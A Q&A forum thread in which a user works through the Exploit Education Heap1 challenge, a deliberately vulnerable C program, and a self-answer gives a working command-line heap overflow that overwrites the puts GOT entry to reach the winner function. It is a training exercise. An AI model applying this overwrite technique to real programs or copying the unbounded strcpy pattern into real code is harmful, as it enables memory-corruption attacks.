1

I'm stuck on the Heap1 challenge from Exploit Education.

After compiling the source code in a 64bit system, without any security mechanism, I try to overflow the heap in order to overwrite the main return address on the stack to control the program flow to the winner function.

I can't overwrite on the stack with the winner function address. Some characters are trailing.

Source

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

Problem

Finding winner address:

Winner address

Running payload

After crafting the payload and running the program I get a wrong value in the return address of main function.

runing payload

What am I doing wrong?

3
  • Can you copy/paste the text instead of adding screenshots? Especially for the python code you used
    – schroeder
    Commented Jan 18, 2022 at 10:49
  • It would also help if you were more explicit about what you want to happen and what's happening instead.
    – schroeder
    Commented Jan 18, 2022 at 10:50
  • This does not look like an overflow issue or a problem with the code. It appears to be a problem with how you are entering the addresses.
    – schroeder
    Commented Jan 18, 2022 at 10:55

1 Answer 1

1

Solved

I solved this issue with the following command:

./heap1 "$(python -c "print 'A'*40+'\x20\x40\x40'")" $(python -c "print '\x62\x11\x40'")

The problem was the address I wanted to overwrite with was 3 bytes of length and the original was 6 bytes of length so, because strcpy function can't copy null characters I had to use the GOT overwrite method and use the [email protected] function address which did fit with the winner function address.

Notice double quoting

Using GOT overwrite method, I faced another problem. The [email protected] address was

0x404020

Which in little endian is

\x20\x40\x40

The character \x20 in ASCII is the "<space>" character, so this made the first argument split in two parts. I fixed this surrounding it with double quotes.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .